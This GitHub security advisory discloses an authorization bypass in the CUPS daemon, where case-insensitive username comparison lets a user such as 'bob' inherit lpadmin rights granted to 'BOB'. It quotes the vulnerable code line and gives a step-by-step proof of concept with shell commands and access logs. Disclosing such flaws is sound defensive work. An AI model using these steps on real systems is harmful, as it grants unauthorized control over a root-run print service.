Authorization bypass via case-insensitive group-member lookup

Moderate **michaelrsweet** published **GHSA-v987-m8hp-phj9** 2 weeks ago

Package

cups

Affected versions

< 2.4.17

Patched versions

None

Description

Summary

CUPS daemon (`cupsd`) contains an authorization bypass vulnerability due to case-insensitive username comparison during authorization checks. The vulnerability allows an unprivileged user to gain unauthorized access to restricted operations by using a user with a username that differs only in case from an authorized user.

By default, Linux usernames are case-sensitive, allowing users like `bob` and `BOB` to coexist. However, CUPS performs authorization checks in a case-insensitive manner, causing it to incorrectly authorize `bob` when only `BOB` is in the authorized group (e.g., `lpadmin`).

Details

Technical Summary

The authorization logic in `cupsd` retrieves all users in authorized groups and checks if the requesting username matches any user in those groups. However, the comparison is performed in a **case-insensitive manner**.

Pseudocode of the vulnerable logic:

```
for group in authorized_groups:
    for user in group.users:
        if user.name.lower() == requesting_username.lower():
```

```
            return True
return False
```

Code Reference

Since Linux usernames are case-sensitive by default, two distinct users (`bob` and `BOB`) can exist. This creates an authorization bypass when only the uppercase version is authorized.

File: `cups/scheduler/auth.c`
Location:

cups/scheduler/auth.c
Line 1250 in `64981bd`

```
1250      if (!_cups_strcasecmp(username, group->gr_mem[i]))
```

The username comparison is performed using a case-insensitive string comparison function, causing the vulnerability.

PoC

1. Initial Setup

Using root privileges, ensure CUPS is running:

```
$ systemctl status cups
● cups.service - CUPS Scheduler
     Loaded: loaded (/usr/lib/systemd/system/cups.service; enabled; preset: enabled)
     Active: active (running) since Sat 2025-11-08 10:10:44 IST; 47min ago
     ...

$ ps aux | grep cupsd
root      920235  0.0  0.0   9040   720 pts/1    S+   01:01   0:00 grep --color=auto cup
```

2. Enable CUPS Debug Logging

```
$ sudo cupsctl --debug-logging
```

3. Verify Command Requires Authorization

Using root, verify that `lpinfo -v` command is functional:

```
$ lpinfo -v
network ipps
network http
```

4. Create Test Users

Create three users for testing:

```
$ sudo useradd -m -s /bin/bash BOB
$ sudo passwd BOB # password: aaa

$ sudo useradd -m -s /bin/bash bob
$ sudo passwd bob # password: 1234

$ sudo useradd -m -s /bin/bash alice
$ sudo passwd alice # password: Password
```

5. Test Initial Authorization (All Should Fail)

Run the command with each user. The command requires `lpadmin` group membership and should fail for all:

```
$ su - BOB -c "lpinfo -v"
lpinfo: Forbidden

$ su - bob -c "lpinfo -v"
lpinfo: Forbidden

$ su - alice -c "lpinfo -v"
lpinfo: Forbidden
```

6. Add BOB to lpadmin Group

```
$ sudo usermod -aG lpadmin BOB
```

7. Exploit the Vulnerability

Run the commands again. **Both BOB and bob will now be authorized**, demonstrating the vulnerability:

```
$ su - BOB -c "lpinfo -v"
network http
network https

$ su - bob -c "lpinfo -v"
network http
network https

$ su - alice -c "lpinfo -v"
lpinfo: Forbidden
```

8. Verify in CUPS Logs

The CUPS access logs confirm that `bob` was incorrectly authorized (HTTP 200) despite only `BOB` being in the `lpadmin` group:

```
$ cat /var/log/cups/access_log
localhost - BOB [08/Nov/2025:09:12:33 +0200] "POST / HTTP/1.1" 403 75 CUPS-Get-
Devices successful-ok
localhost - bob [08/Nov/2025:09:12:40 +0200] "POST / HTTP/1.1" 403 75 CUPS-Get-
Devices successful-ok       # --- code 403 (before adding BOB) ---
localhost - alice [08/Nov/2025:09:12:44 +0200] "POST / HTTP/1.1" 403 75 CUPS-Get-
Devices successful-ok
localhost - BOB [08/Nov/2025:09:18:16 +0200] "POST / HTTP/1.1" 200 1520 CUPS-Get-
Devices -
localhost - bob [08/Nov/2025:09:18:25 +0200] "POST / HTTP/1.1" 200 1520 CUPS-Get-
Devices -                 # --- code 200 (after adding BOB) ---
localhost - alice [08/Nov/2025:09:18:45 +0200] "POST / HTTP/1.1" 403 75 CUPS-Get-
Devices successful-ok
```

Impact

Unauthorized Access to Privileged Operations

The `lpadmin` group (and other configured groups) controls access to sensitive operations including:

- **Printer Management:** Control printers and print jobs
- **Configuration Modification:** Modify `cupsd.conf` service configuration
- **Printer Sharing:** Enable/disable printer sharing capabilities
- **Service Behavior:** Change cupsd service behavior (runs as root)
- **Security Settings:** Disable authentication, authorization, or encryption
- **System Commands:** Execute restricted administrative commands

Exploitation Scenarios

An attacker who bypasses authorization can:

1. **Information Disclosure:** Leak printed documents and sensitive information
2. **Denial of Service:** Crash or disable the printing service
3. **Security Degradation:** Disable encryption and intercept/sniff network traffic
4. **Privilege Escalation:** Combine with other vulnerabilities for elevated access

Acknowledgements

Originally reported by **Ariel Silver**

Severity

Moderate 4.8 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	High
Privileges required	High
User interaction	Required
Scope	Unchanged
Confidentiality	High
Integrity	Low
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:L/A:N

CVE ID

CVE-2026-27447

Weaknesses

▶ CWE-863

Credits

 **pedrohc** Coordinator

 **SilverPlate3** Finder